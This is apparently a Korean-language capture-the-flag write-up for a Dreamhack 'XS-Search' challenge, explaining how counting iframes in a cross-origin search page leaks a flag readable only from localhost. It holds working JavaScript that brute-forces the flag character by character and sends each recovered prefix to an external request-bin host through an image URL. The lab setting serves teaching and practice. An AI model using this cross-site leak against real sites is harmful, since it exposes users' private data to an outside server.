TeamH4C

[빡공팟 5기] W7 : XS-Search Write-up

이유갬 2022. 11. 6. 23:55

[ 문제 풀이 ]

- 초기화면이며 2개의 메뉴가 있습니다.

- 순서대로 살펴보겠습니다.

- search 검색하는 페이지와 URL 을 넣어 리포트 하는 페이지입니다.

- dream 을 넣어 검색해보고 URL 을 넣어 Report 해봤는데 URL 부분은 good 이라는 팝업창만 뜨고 아무일도 일어나지 않았습니다.

- 이제 소스코드를 살펴보겠습니다.

- 2개를 동시에 살펴보면 search 페이지에서 요청자에게 'query' 값을 받아옵니다.

- query 의 값이 None 이라면 search.html 을 렌더링합니다.

- notes 안에 있는 내용을 기반으로 note, private 으로 for 문을 돌립니다.

- private == True 라면 요청 패킷의 헤더 HOST 가 로컬 서버가 아니라면 continue 를 실행시킵니다. 즉, FLAG 는 로컬호스트에서 접근할 수 있다는 것입니다.

- search 페이지를 살펴보면 결과값을 iframe 내부에 가져오는 것을 알 수 있습니다.

- 하지만 아니면 iframe 이 생성되지 않으므로 결과값에 따라 iframe 의 개수가 달라짐을 알 수 있습니다.

- search 페이지는 검색 결과 존재 여부에 따라서 iframe 의 개수가 달라지므로 이는 공격에 취약할 수 있습니다.

- 만약 외부 오리진에서 해당 페이지를 새창으로 열거나 iframe 으로 임베딩할 경우에 응답 값을 알수는 없지만 새창 안에서 iframe 의 개수가 몇개인지 확인 할 수 있습니다.

- 따라서 외부 오리진에서 새로운 iframe 에 해당 페이지를 임베딩하여 frame 의 개수를 확인하는 코드를 생성할 수 있습니다.

var iframe = document.createElement("iframe");
iframe.src = "https://gmjdymc.request.dreamhack.games/search?query=DreamHack";
document.body.appendChild(iframe);
iframe.onload = ()=>{console.log(iframe.contentWindow.frames.length);};

- 이렇게 iframe 의 개수 출력을 확인 할 수 있습니다. 이를 통해서 노트 검색 결과의 존재 여부를 확인이 가능합니다.

- /submit 페이지에 URL 삽입하는 폼이 있으므로 이용자가 해당 임의의 URL 에 접속할 수 있습니다.

- 로컬 호스트에서만 접근 가능한 FLAG 의 형식에서 DH{ 가 검색 되는지 확인합니다.

- 이는 iframe 의 개수로 알 수 있습니다. -> 이때, frame 의 개수를 드림핵 툴즈의 외부 웹 서버로 전달받습니다.

<iframe id="iframe"></iframe>
<img id="img">
<script>
    async function req(url) {
        return await new Promise((resolve, reject) => {
            const iframe = document.getElementById("iframe");
            iframe.src = url;
            iframe.onload = () => { 
                if (iframe.contentWindow.frames.length != 0)
                    return resolve();
                else
                    return reject();
            };
        });
    }
    async function search(query) {
        try {
            await req(
              `http://localhost:8000/search?query=${query}`
            );
            return true;
        } catch (e) {
            return false;
        }
    }
    async function exploit() {
        let chars = "0123456789abcdef}"
        let secret = "DH{";
        while (!secret.includes("}")) {
            for (let c of chars) {
                if (await search(secret + c)) {
                    secret += c;
                    img.src = `https://gmjdymc.request.dreamhack.games/${secret}`;
                    break;
                }
            }
        }
    }
    exploit();
</script>

- 코드 작성 시, 유의할 점은 함수를 비동기로 작성해야한다는 점입니다. -> 이전 요청이 취소되지 않도록!

- 처음 let secret = "DH{" 로 시작했으나 셀레늄 타임아웃이 3초로 설정되어 있어 한번에 모든 플래그를 유출하지 못합니다.

- 따라서, 마지막으로 획득한 플래그 위치부터 다시 반복해서 실행해야합니다.

- 플래그 획득에 성공했습니다!